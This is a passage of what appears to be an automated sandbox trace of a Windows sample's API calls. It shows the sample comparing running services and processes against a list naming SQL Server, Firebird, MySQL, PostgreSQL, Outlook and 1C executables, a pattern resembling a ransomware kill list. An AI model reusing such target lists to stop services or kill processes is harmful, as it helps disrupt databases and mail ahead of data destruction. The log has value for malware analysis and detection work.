lpString2="lmhosts") returned 1 [0072.562] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0072.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0072.562] lstrlenW (lpString="MMCSS") returned 5 [0072.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0072.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0072.562] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0072.562] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0072.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0072.562] lstrlenW (lpString="MpsSvc") returned 6 [0072.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0072.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0072.562] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0072.563] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0072.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0072.563] lstrlenW (lpString="Netman") returned 6 [0072.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0072.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0072.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0072.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0072.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0072.563] lstrlenW (lpString="netprofm") returned 8 [0072.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0072.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0072.563] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0072.563] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0072.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0072.564] lstrlenW (lpString="NlaSvc") returned 6 [0072.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0072.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0072.564] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0072.564] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0072.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0072.564] lstrlenW (lpString="nsi") returned 3 [0072.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0072.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0072.564] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0072.564] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0072.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0072.564] lstrlenW (lpString="PcaSvc") returned 6 [0072.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0072.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0072.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0072.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0072.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0072.565] lstrlenW (lpString="PlugPlay") returned 8 [0072.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0072.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0072.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0072.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0072.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0072.565] lstrlenW (lpString="Power") returned 5 [0072.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0072.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0072.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0072.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0072.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0072.566] lstrlenW (lpString="ProfSvc") returned 7 [0072.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0072.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0072.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0072.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0072.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0072.566] lstrlenW (lpString="RpcEptMapper") returned 12 [0072.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0072.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0072.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0072.567] lstrlenW (lpString="RpcSs") returned 5 [0072.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0072.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0072.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0072.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0072.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0072.567] lstrlenW (lpString="SamSs") returned 5 [0072.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0072.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0072.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0072.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0072.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0072.567] lstrlenW (lpString="Schedule") returned 8 [0072.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0072.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0072.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0072.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0072.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0072.568] lstrlenW (lpString="SENS") returned 4 [0072.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0072.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0072.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0072.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0072.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0072.568] lstrlenW (lpString="ShellHWDetection") returned 16 [0072.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.569] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0072.569] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0072.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0072.569] lstrlenW (lpString="Spooler") returned 7 [0072.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0072.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0072.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0072.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0072.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0072.569] lstrlenW (lpString="sppsvc") returned 6 [0072.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0072.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0072.569] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0072.569] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0072.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0072.570] lstrlenW (lpString="SysMain") returned 7 [0072.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0072.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0072.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0072.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0072.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0072.570] lstrlenW (lpString="Themes") returned 6 [0072.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0072.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0072.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0072.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0072.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0072.570] lstrlenW (lpString="TrkWks") returned 6 [0072.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0072.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0072.571] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0072.571] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0072.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0072.571] lstrlenW (lpString="UxSms") returned 5 [0072.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0072.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0072.571] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0072.571] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0072.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0072.571] lstrlenW (lpString="WdiServiceHost") returned 14 [0072.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0072.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0072.571] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0072.571] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0072.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0072.572] lstrlenW (lpString="WdiSystemHost") returned 13 [0072.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0072.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0072.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0072.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0072.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0072.572] lstrlenW (lpString="WinDefend") returned 9 [0072.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0072.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0072.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0072.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0072.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0072.573] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0072.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0072.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0072.573] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0072.573] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0072.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0072.573] lstrlenW (lpString="Winmgmt") returned 7 [0072.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0072.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0072.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0072.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0072.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0072.574] lstrlenW (lpString="wscsvc") returned 6 [0072.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0072.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0072.574] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0072.575] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0072.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0072.575] lstrlenW (lpString="wuauserv") returned 8 [0072.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0072.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0072.575] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0072.575] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0072.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0072.575] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e1c8 | out: hHeap=0x4c0000) returned 1 [0072.575] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0072.584] Process32FirstW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.585] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0072.587] lstrlenW (lpString="System") returned 6 [0072.587] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0072.587] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0072.587] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0072.587] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0072.587] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0072.587] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0072.587] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0072.587] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0072.589] lstrlenW (lpString="smss.exe") returned 8 [0072.589] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0072.589] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0072.589] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0072.590] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0072.590] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0072.590] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0072.590] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0072.590] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0072.591] lstrlenW (lpString="csrss.exe") returned 9 [0072.592] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.122] lstrlenW (lpString="wininit.exe") returned 11 [0073.122] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.124] lstrlenW (lpString="csrss.exe") returned 9 [0073.124] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.126] lstrlenW (lpString="winlogon.exe") returned 12 [0073.126] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.127] lstrlenW (lpString="services.exe") returned 12 [0073.127] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.129] lstrlenW (lpString="lsass.exe") returned 9 [0073.129] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.130] lstrlenW (lpString="lsm.exe") returned 7 [0073.131] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.132] lstrlenW (lpString="svchost.exe") returned 11 [0073.132] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.133] lstrlenW (lpString="svchost.exe") returned 11 [0073.134] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.136] lstrlenW (lpString="svchost.exe") returned 11 [0073.136] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.137] lstrlenW (lpString="svchost.exe") returned 11 [0073.138] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.139] lstrlenW (lpString="svchost.exe") returned 11 [0073.139] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.140] lstrlenW (lpString="audiodg.exe") returned 11 [0073.141] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.142] lstrlenW (lpString="svchost.exe") returned 11 [0073.142] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.143] lstrlenW (lpString="svchost.exe") returned 11 [0073.143] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.145] lstrlenW (lpString="dwm.exe") returned 7 [0073.145] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.146] lstrlenW (lpString="explorer.exe") returned 12 [0073.146] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.148] lstrlenW (lpString="spoolsv.exe") returned 11 [0073.148] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.149] lstrlenW (lpString="taskhost.exe") returned 12 [0073.149] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.150] lstrlenW (lpString="svchost.exe") returned 11 [0073.151] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.152] lstrlenW (lpString="taskeng.exe") returned 11 [0073.152] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.154] lstrlenW (lpString="taskhost.exe") returned 12 [0073.154] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.155] lstrlenW (lpString="svchost.exe") returned 11 [0073.155] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0073.157] lstrlenW (lpString="sppsvc.exe") returned 10 [0073.157] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.159] lstrlenW (lpString="svchost.exe") returned 11 [0073.159] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0073.160] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0073.160] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0073.162] lstrlenW (lpString="visa thought.exe") returned 16 [0073.162] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0073.163] lstrlenW (lpString="instrumental.exe") returned 16 [0073.163] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: 